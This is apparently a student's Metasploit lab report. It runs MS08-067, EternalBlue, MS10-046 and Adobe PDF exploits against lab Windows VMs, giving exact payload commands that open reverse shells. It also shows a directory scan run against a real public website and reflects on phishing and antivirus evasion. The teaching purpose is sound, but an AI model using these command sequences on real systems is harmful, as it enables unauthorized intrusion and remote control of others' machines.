2019-2020-4 20175121杨波《网络对抗技术》Exp6 msf基础应用

标签:msf exploit payload encode


一、实践目标

1.1 实践对象

  • Kali Linux
  • Windows XP
  • Windows 7

1.2 实践内容

  • 成功主动攻击,如ms08-067
  • 成功针对浏览器的攻击,如ms11-050
  • 成功针对客户端的攻击,如Adobe
  • 成功应用辅助模块的攻击

二、基础知识

2.1 msf模块说明

  • Exploit模块
    • 渗透攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
  • Payload模块
    • 在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。
  • Encoder模块
    • 针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征
  • Auxiliary模块
    • 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
  • Post模块
    • 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
  • Nop模块
    • 空字段模块

2.2 msf常用漏洞利用命令

  • search name:用指定关键字搜索可以利用的漏洞模块
  • use exploit name:使用漏洞
  • show options:显示配置选项
  • set option name option:设置选项
  • show payloads:回链攻击载荷
  • show targets: 显示目标(os版本)
  • set TARGET target number:设置目标版本
  • exploit:开始漏洞攻击
  • sessions -l:列出会话
  • sessions -i id:选择会话
  • sessions -k id:结束会话
  • Ctrl+z:把会话放到后台
  • Ctrl+c:结束会话
  • show auxiliary:显示辅助模块
  • use auxiliary name :使用辅助模块
  • set option name option:设置选项
  • exploit:运行模块

三、实践步骤

3.1 主动攻击

  • MS08-067漏洞渗透攻击实践
  • MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
  • 攻击机: kali 靶机: windows XP Professional(English) 下载链接 提取码:4VAk
  • 攻击者试探靶机是否存在ms08_067这个漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.196.141

  • 查看到靶机的版本号,并且查看到靶机存在ms08_067这个漏洞

  • 输入指令 msfconsole 进入控制台,使用指令 search ms08_067指令查询一下针对该漏洞能够运用的攻击模块

  • 输入指令 use exploit/windows/smb/ms08_067_netapi 进入该攻击模块,使用 show payloads查看能够使用的攻击载荷

  • 选择shell_reverse_tcp,输入指令 set payload generic/shell_reverse_tcp 设置payload为反向tcp连接
  • 显示连接需要设置的参数show options

  • 接下来部署参数即可
set RHOST 192.168.196.141 //设置靶机IP
set LPORT 5121 //设置攻击机端口
set LHOST 192.168.196.133 //设置攻击机IP
exploit

  • 如图是成功回连的情况

  • 可以使用systeminfo来查看靶机的系统信息,关于计算机及其操作系统的详细配置信息,包括操作系统配置、安全信息、产品 ID 和硬件属性,RAM、磁盘空间和网卡等。

  • MS17_010漏洞渗透攻击实践
  • 攻击机: kali 靶机: windows7 x64
  • 使用nmap --script=vuln 192.168.196.135 查看 win7有什么漏洞可以利用

  • 使用search ms17_010指令查询一下针对该漏洞能够运用的攻击模块

  • 输入指令 use exploit/windows/smb/ms17_010_eternalblue 进入该攻击模块,使用 show payloads查看能够使用的攻击载荷

  • 选择windows/x64/meterpreter/bind_tcp,输入指令 set payload windows/x64/meterpreter/bind_tcp 设置payload为绑定tcp连接
  • 接下来部署参数
set RHOST 192.168.196.135 //设置靶机IP
set LPORT 5121 //设置攻击机端口
set LHOST 192.168.196.133 //设置攻击机IP
exploit

  • 回连成功

3.2 针对浏览器的攻击

  • 这里采用的是ms10_046漏洞攻击
  • 首先查看浏览器漏洞:cd/usr/share/metasploit-framework/modules/exploits/windows/browser
  • 输入 ls 即可看到很多漏洞代码,选择ms10_046_shortcut_icon_dllloader.rb

  • 启动msf,输入search ms10_046先找相关漏洞模块

  • 输入use windows/browser/ms10_046_shortcut_icon_dllloader,使用show payloads查找有效攻击载荷

  • 接下来设置参数
set payload windows/meterpreter/reverse_tcp   //选择攻击载荷
set LHOST 192.168.196.133     //设置攻击者IP
set SRVHOST 192.168.196.133   //设置服务器IP(攻击者IP)
exploit     //进行攻击

  • 在靶机用浏览器打开生成的链接:http://192.168.196.133:80/

  • 查看会话:sessions

  • 选取会话:sessions -i 1

3.3 针对客户端的攻击

  • 启动msf输入search adobe查询针对adobe攻击模块

  • 使用use windows/fileformat/adobe_cooltype_sing 设置模块
  • 输入show payloads查找有效攻击载荷

  • 使用 set payload windows/meterpreter/bind_tcp设置payloads
  • 根据options设置相关参数
set RHOST 192.168.196.141 //靶机ip
set LPORT 5121 //攻击端口
exploit //生成pdf
  • 使用指令将文件复制到可以复制的文件夹下(当前账户进不去root文件夹) cp /root/.msf4/local/msf.pdf /home/kali/20175121yb

  • 将生成的msf.pdf 复制到Windows XP中,back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
set RHOST 192.168.196.141 //靶机IP
set LPORT 5121 //攻击端口
exploit

  • 由于我安装的XP虚拟机没有adobe reader,所以得去下载,下载的版本为9.0
  • 在xp上打开文件

  • 回连成功

3.4 成功应用任何一个辅助模块

  • server_info(唯一)
  • 输入show auxiliary查看所有的辅助模块

  • 选择scanner/steam/server_info,输入info scanner/steam/server_info查看模块信息,请求从服务器获取信息,扫描范围默认为10(从起始地址开始往后扫10个),端口固定为UDP端口27015。端口27015只是用作输入/输出的通信端口。

  • 输入use scanner/steam/server_info使用漏洞
  • 输入set RHOSTS 192.168.196.140为起始IP
  • 输入exploit开始攻击

  • 然鹅这个网段里木有服务器
  • 使用 dir_scanner 搜索网站目录
  • 输入use auxiliary/scanner/http/dir_scanner设置模块
  • 设置参数
set THREADS 50
set RHOSTS www.baidu.com
exploit

  • dir_scanner 模块发现了百度网站目录的 cache http 状态码200 ,表示请求成功

  • 端口扫描模块

  • 具体有以下几种扫描方式:

    • auxiliary/scanner/portscan/ack:通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测
    • auxiliary/scanner/portscan/ftpbounce :通过FTP bounce攻击的原理对TCP服务进行枚举,在一些旧的Solaris及FreeBSD系统的FTP服务中此类攻击方式仍能被利用。
    • auxiliary/scanner/portscan/syn :使用发送TCP SYN标志的方式探测开放的端口
    • auxiliary/scanner/portscan/tcp:通过一次完整的TCP连接来判断端口是否开放
    • auxiliary/scanner/portscan/xmas:通过发送FIN、PSH、URG标志,相对而言较为隐蔽。
  • 试试 tcp 扫描,通过一次完整的TCP连接来判断端口是否开放

  • 输入use auxiliary/scanner/portscan/tcp设置模块

  • 设置参数

set RHOSTS 192.168.196.141  //靶机IP
set THREADS 50
exploit

四、实验总结与体会

4.1 基础问题回答

  • 用自己的话解释什么是exploit,payload,encode
    • exploit:漏洞攻击,一个exploit程序肯定会触发系统的一个或多个漏洞,进而程序直接获取到目标系统的部分或所有权限。
    • payload:有效载荷,是攻击者在目标系统上执行的一段攻击代码,具有反弹连接、创建用户、执行其他系统命令的功能,搞破坏的关键代码。
    • encode:对载荷进行包装加壳,改变其特征码,保证payload不出现特定字符,避免被查杀。

4.2 实验感受

通过本次实验,我了解了msf的各种具体应用,体会到了其强大的功能。在实验过程中遇到了各种各样的问题,最痛苦的就是明明和大家做的一样,但是我的就是无法攻击成功。通过实验掌握了msf的简单操作,始终牢记不懂就help,不知道是干什么的就info。虽然遇到了各种困难,但是最终都一一解决了,经过这次实验,我的姿势水平又有了一点小小的提升,虽然遇到困难让人抓狂很通过,但是完成之后感到收获的时候还是蛮有成就感的。

4.3 离实战还缺些什么技术或步骤?

如果要考虑实战,我认为首先要想办法如何连接目标机器或将后门程序植入目标机器,不然再大的漏洞我们也利用不了,可以通过社会工程学了解对方用户的个人喜好,发送钓鱼邮件。我们还需要了解目标主机是什么版本的系统,是否打了哪些补丁,是否有adobe这些软件等。除此之外,我的免杀技术还不行,现在还不能很好地实现真正意义上的免杀;还有就是我制作的后门程序都很简单,,一般人看都看出来是不正经软件了。

posted @ 2020-04-26 23:15  20175121杨波  阅读(168)  评论(0编辑  收藏